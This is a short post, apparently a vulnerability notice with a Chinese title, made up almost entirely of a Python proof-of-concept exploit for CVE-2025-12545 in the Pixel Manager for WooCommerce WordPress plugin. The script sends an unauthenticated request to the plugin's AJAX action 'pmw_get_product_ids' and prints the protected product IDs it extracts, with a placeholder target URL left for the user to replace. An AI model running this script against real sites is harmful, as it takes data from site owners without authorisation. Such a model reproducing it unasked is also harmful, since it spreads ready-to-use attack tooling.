CVE-2025-12545 WordPress WooCommerce Pixel Manager信息泄露漏洞

import requests import json # CVE-2025-12545 PoC - Information Exposure in Pixel Manager for WooCommerce # Target: WordPress site with Pixel Manager for WooCommerce plugin <= 1.49.2 def exploit_cve_2025_12545(target_url): """ Exploit for information disclosure vulnerability in ajax_pmw_get_product_ids() This PoC demonstrates how an unauthenticated attacker can extract protected product data. """ # Target AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Prepare the malicious request data = { 'action': 'pmw_get_product_ids', # Vulnerable AJAX action } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } try: # Send unauthenticated request response = requests.post(ajax_url, data=data, headers=headers, timeout=10) if response.status_code == 200: result = response.json() print(f"[+] Request successful!") print(f"[+] Response: {json.dumps(result, indent=2)}") # Check if we got product IDs including protected ones if 'data' in result and 'product_ids' in result['data']: product_ids = result['data']['product_ids'] print(f"[+] Found {len(product_ids)} product IDs") print(f"[+] Product IDs: {product_ids}") return True else: print(f"[-] Request failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": # Replace with target URL target = "https://example.com" exploit_cve_2025_12545(target)